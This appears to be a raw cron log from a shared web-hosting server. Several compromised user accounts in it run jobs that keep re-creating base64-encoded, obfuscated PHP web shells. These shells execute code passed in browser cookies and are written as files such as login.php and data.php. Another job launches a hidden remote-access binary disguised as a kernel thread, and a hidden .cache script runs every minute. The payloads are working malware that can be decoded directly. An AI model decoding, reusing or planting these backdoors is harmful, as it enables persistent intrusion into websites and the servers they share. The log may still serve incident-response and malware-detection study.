Mar  2 08:59:01 medusa CROND[2736]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:59:01 medusa CROND[2737]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:59:01 medusa CROND[2738]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:59:01 medusa CROND[2740]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:59:01 medusa CROND[2748]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:00:01 medusa CROND[19599]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:00:01 medusa CROND[19607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:00:01 medusa CROND[19620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:00:01 medusa CROND[19702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:00:01 medusa CROND[19813]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[19976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:00:02 medusa CROND[20101]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20104]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:00:02 medusa CROND[20100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20099]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:00:02 medusa CROND[20108]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:00:02 medusa CROND[20106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:00:02 medusa CROND[20109]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:00:02 medusa CROND[20111]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 09:00:02 medusa CROND[20107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 09:00:02 medusa CROND[20121]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:00:02 medusa CROND[20123]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20128]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20122]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 09:00:02 medusa CROND[20138]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:00:02 medusa CROND[20152]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:00:02 medusa CROND[20151]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20161]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20163]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:00:02 medusa CROND[20164]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 09:00:02 medusa CROND[20171]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20177]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 09:00:02 medusa CROND[20175]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Mar  2 09:00:02 medusa CROND[20176]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:00:02 medusa CROND[20162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 09:00:02 medusa CROND[20182]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:00:02 medusa CROND[20186]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20199]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20205]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 09:00:02 medusa CROND[20209]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:00:02 medusa CROND[20185]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 09:00:02 medusa CROND[20206]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:00:02 medusa CROND[20208]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 09:00:02 medusa CROND[20207]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 09:01:01 medusa CROND[2222]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:01:02 medusa CROND[2336]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 09:01:02 medusa run-parts(/etc/cron.hourly)[2336]: starting 0anacron
Mar  2 09:01:02 medusa run-parts(/etc/cron.hourly)[2358]: finished 0anacron
Mar  2 09:01:02 medusa CROND[2457]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:01:02 medusa CROND[2460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:01:02 medusa CROND[2459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:01:02 medusa CROND[2466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:01:02 medusa CROND[2475]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:01:02 medusa CROND[2476]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:01:02 medusa CROND[2481]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:01:02 medusa CROND[2483]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:01:02 medusa CROND[2484]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
